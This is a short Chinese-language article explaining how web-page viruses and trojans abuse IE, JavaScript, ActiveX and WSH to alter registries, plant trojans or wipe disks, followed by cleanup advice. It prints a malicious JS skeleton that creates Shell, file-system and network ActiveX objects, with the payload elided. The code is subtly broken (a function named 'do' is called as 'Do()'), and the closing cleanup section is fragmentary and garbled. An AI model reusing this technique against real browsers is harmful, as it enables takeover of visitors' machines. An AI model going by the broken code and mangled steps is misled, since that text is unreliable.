殺毒軟體普及的今天,網頁病毒與網頁木馬憑藉多樣化形態與高隱蔽性,成為危害面最廣、傳播效果最佳的威脅。許多用戶「應聲倒下」卻不知中毒途徑與處理之道。本文詳細剖析其常識、運行機理、製作手法與手動清除技巧。
利用網頁載體,以 Script 語言編寫惡意代碼,利用 IE 漏洞植入。用戶訪問掛馬頁面即悄悄激活,輕則修改註冊表劫持首頁/標題,重則關閉系統功能、植入木馬、格式化硬碟。易編寫修改,防不勝防。
核心技術棧:JavaScript + ActiveX + WSH 協同實現本地寫入操作(改寫註冊表、增刪改檔案),正是這一機制給惡意代碼可乘之機。
function destroy() {
try {
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO=a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net=a1.GetObject();
try { /* 作惡代碼 */ } catch(e) {}
} catch(e) {}
}
function do() { setTimeout("destroy()", 1000); }
Do()
純 JS 編寫,每秒嘗試初始化 ActiveX 物件(Shell、FSO、Network),獲取系統控制權,修改註冊表、下載執行木馬等。
tasklist /svc、dir *.dll、msinfo32 導出對比)。netstat -an -o 關聯 PID,結束惡意進程,防火牆封鎖端口)。完整清除需結合殺毒軟體全盤掃描、修補系統漏洞、養成安全習慣。